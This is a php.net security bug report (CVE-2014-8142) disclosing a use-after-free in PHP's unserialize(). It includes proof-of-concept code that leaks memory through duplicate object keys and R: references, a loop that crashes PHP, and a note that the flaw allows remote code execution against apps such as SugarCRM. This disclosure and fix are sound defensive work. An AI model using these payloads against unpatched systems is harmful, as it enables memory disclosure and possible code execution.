php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #68594 Use after free vulnerability in unserialize()
Submitted: 2014-12-12 03:21 UTC Modified: 2014-12-19 09:44 UTC
From: stas@php.net Assigned: stas (profile)
Status: Closed Package: *Data Exchange functions
PHP Version: 5.4.35 OS: *
Private report: No CVE-ID: 2014-8142
 [2014-12-12 03:21 UTC] stas@php.net
Description:
------------
Reported by Stefan Esser <stefan.esser@sektioneins.de>:

A while ago the function "process_nested_data" was changed to better
handle object properties. Before it was possible to create numeric
object properties which would cause trouble down the road. So the
following code was added:

        if (!objprops) {
            ...
        } else {
            /* object properties should include no integers */
            convert_to_string(key);
            zend_hash_update(ht, Z_STRVAL_P(key), Z_STRLEN_P(key) + 1,
&data,
                    sizeof data, NULL);
        }

Whoever wrote this code did not know about the history of the
unserialize() function and that in earlier times (2004) I found a use
after free vulnerability in it. A non detailed write up can be found in
http://seclists.org/fulldisclosure/2004/Dec/356 [Bug 7].

The problem with the above code is that when there are two identical
keys in the object's serialized properties the second key will delete
the first one from memory and destroy the ZVAL associated with it. This
means that ZVAL and all its children is freed from memory. However the
unserialize() code will still allow to use R: or r: to set references to
that already freed memory. It has been demonstrated many times before
that use after free inside unserialize() allows an attacker to execute
arbitrary code. Also some programs do not only unserialize() user input
but they also sent a serialized() reply back to the caller. In such a
setup an attacker can not only trigger code execution but also leak
memory content from remote. This together means he can write a fully
working remote exploit that bypasses all modern mitigations. Examples
how that was possible before you can see from this slide deck (starting
from slide 30)
http://www.slideshare.net/i0n1c/syscan-singapore-2010-returning-into-the-phpinterpreter

Last time I checked one prominent example of PHP code that uses
unserialize() and serialize() in this way is: SugarCRM

The following code shows the leak:

<?php

$data =
'O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:39:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;}';

$x = unserialize($data);
var_dump($x);


$ php test.php
object(stdClass)#1 (2) {
  ["aaa"]=>
  int(1)
  ["ccc"]=>
  &string(39) "1Y?/"
}

And the following code should crash PHP:

<?php

for ($i=4; $i<100; $i++) {

var_dump($i);

$m = new StdClass();

$u = array(1);

$m->aaa = array(1,2,&$u,4,5);
$m->bbb = 1;
$m->ccc = &$u;
$m->ddd = str_repeat("A", $i);

$z = serialize($m);
$z = str_replace("bbb", "aaa", $z);
var_dump($z);
$y = unserialize($z);
var_dump($y);
}


As you can see here:

$ php x.php
int(4)
string(134)
"O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;a:1:{i:0;i:1;}i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;s:3:"ddd";s:4:"AAAA";}"
object(stdClass)#2 (3) {
  ["aaa"]=>
  int(1)
  ["ccc"]=>
  &NULL
  ["ddd"]=>
  string(4) "AAAA"
}
int(5)
string(135)
"O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;a:1:{i:0;i:1;}i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;s:3:"ddd";s:5:"AAAAA";}"
object(stdClass)#1 (3) {
  ["aaa"]=>
  int(1)
  ["ccc"]=>
  &NULL
  ["ddd"]=>
  string(5) "AAAAA"
}
int(6)
string(136)
"O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;a:1:{i:0;i:1;}i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;s:3:"ddd";s:6:"AAAAAA";}"
Segmentation fault: 11

Somewhen before you fix and release this I will prepare a POC that
demonstrates full control over the program counter and to leak specific
stuff from the system.



Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2014-12-13 06:54 UTC] remi@php.net
-CVE-ID: +CVE-ID: 2014-8142
 [2014-12-13 06:54 UTC] remi@php.net
Please use CVE-2014-8142 for this issue.
 [2014-12-19 09:44 UTC] stas@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: stas
 [2014-12-19 09:44 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Sun Nov 19 01:31:42 2017 UTC